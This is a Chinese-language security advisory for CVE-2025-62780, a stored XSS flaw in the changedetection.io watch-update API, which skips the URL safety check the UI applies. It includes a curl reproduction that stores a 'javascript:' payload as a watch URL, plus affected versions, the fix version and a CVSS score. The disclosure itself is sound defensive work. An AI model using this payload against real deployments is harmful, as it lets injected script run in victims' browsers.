changedetection.io API存储型XSS漏洞分析

本文详细分析了changedetection.io监控更新API中存在的存储型跨站脚本漏洞(CVE-2025-62780),包括漏洞原理、影响版本、复现步骤和安全修复建议,涉及URL验证机制绕过和JavaScript代码执行风险。

changedetection.io:通过API更新监控时存在存储型XSS漏洞 · CVE-2025-62780

漏洞详情

摘要

由于安全检查不足,changedetection.io监控更新API中存在存储型跨站脚本漏洞。

详细信息

在changedetection.io版本v0.50.24上测试:

1
2
3
4
5
REPOSITORY:ghcr.io/dgtlmoon/changedetection.io
TAG:latest
IMAGE ID:0367276509a0
CREATED:23小时前
SIZE:599MB

当用户尝试在changedetection.io UI中添加不安全的URL作为监控时,操作会被阻止并显示错误消息:“Watch protocol is not permitted by SAFE_PROTOCOL_REGEX or incorrect URL format”。

这由validate_url(test_url)函数捕获:

1
2
3
4
5
6
def validate_url(test_url):
    # ...
    from .model.Watch import is_safe_url
    if not is_safe_url(test_url):
        # This should be wtforms.validators.
        raise ValidationError('Watch protocol is not permitted by SAFE_PROTOCOL_REGEX or incorrect URL format')

然而,当使用监控API时,此检查未执行,导致不安全的URL被添加为监控。

复现步骤

使用不安全的URL更新现有监控:

1
2
3
4
5
6
7
8
curl -X PUT "http://example.site/api/v1/watch/1242e1c5-d59e-4352-0078-203a55b21282" \
  -H "x-api-key: XXX" \
  -H "Content-Type: application/json" \
  -d '{
    "url": "javascript:alert(document.domain)",
    "title": "XSS PoC",
    "paused": false
  }'

影响

存在两种可能场景:

  1. 攻击者可以插入带有任意URL的新监控,该URL实际指向一个网页。一旦HTML内容被检索,攻击者将URL更新为JavaScript有效载荷。
  2. 攻击者将现有监控中的URL替换为实际上是JavaScript有效载荷的新URL。

当用户点击预览然后点击恶意链接时,JavaScript恶意代码将被执行。

技术信息

受影响版本

  • < 0.50.34

已修复版本

  • 0.50.34

严重程度

  • 低危 - CVSS评分:3.5

CVSS v3基础指标

  • 攻击向量:网络
  • 攻击复杂度:低
  • 所需权限:高
  • 用户交互:需要
  • 范围:未改变
  • 机密性:低
  • 完整性:低
  • 可用性:无

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:L/I:L/A:N

弱点

  • CWE-79:在网页生成过程中对输入的不当中和(跨站脚本)

参考信息

致谢

发现者:Edoardo Ottavianelli @edoardottt

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计